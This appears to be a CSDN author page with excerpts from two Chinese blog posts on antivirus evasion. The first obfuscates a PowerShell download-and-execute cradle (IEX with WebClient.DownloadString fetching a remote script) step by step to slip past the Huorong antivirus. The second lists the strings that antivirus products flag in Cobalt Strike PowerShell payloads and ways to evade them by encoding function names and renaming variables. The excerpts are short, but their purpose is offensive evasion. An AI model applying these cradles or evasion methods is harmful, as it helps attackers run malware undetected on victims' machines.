![](https://img-blog.csdnimg.cn/20201014180756928.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
cs
老鄧头
这个作者很懒,什么都没留下…
展开
-
powershell命令语句混淆免杀(bypass火绒)
基础混淆原始语句(不免杀)powershell “IEX (New-Object System.Net.WebClient).DownloadString(‘http://127.0.0.1/a.ps1’)"AV:火绒混淆测试New-Object System.Net 类可以直接替换成 New-Object Net 类(不免杀)powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/a.ps1')"原创 2021-02-04 17:26:15 · 1300 阅读 · 0 评论 -
CS powershell马免杀
修改原理1.杀软检测的几个点:InvokeVirtualAllockernel32.dllFormBase64StringSystem.dllfunc_get_proc_addressfunc_get_delegate_type$var_va$var_buffer$var_runme$var_code$x2.bypass方法:(1)函数名称将上面过滤的函数名,ascii编码解码后再调用(2)变量名修改变量名改版后代码把cs生成powershell脚本的shellcod原创 2021-02-03 11:22:52 · 1346 阅读 · 0 评论